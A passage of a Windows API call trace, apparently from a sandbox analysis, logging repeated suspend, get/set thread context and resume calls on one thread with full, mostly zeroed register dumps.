Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0108.311] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000395d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0108.313] ResumeThread (hThread=0xd8) returned 0x1 [0108.313] CloseHandle (hObject=0xd8) returned 1 [0108.313] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.450] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.735] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0108.735] SuspendThread (hThread=0xd8) returned 0x0 [0108.735] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039b38, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f7fd1e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0108.736] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039b30, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0108.736] ResumeThread (hThread=0xd8) returned 0x1 [0108.737] CloseHandle (hObject=0xd8) returned 1 [0108.737] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.738] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.874] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.982] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0108.982] SuspendThread (hThread=0xd8) returned 0x0 [0108.982] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039918, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f84a3e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0108.988] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039910, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, 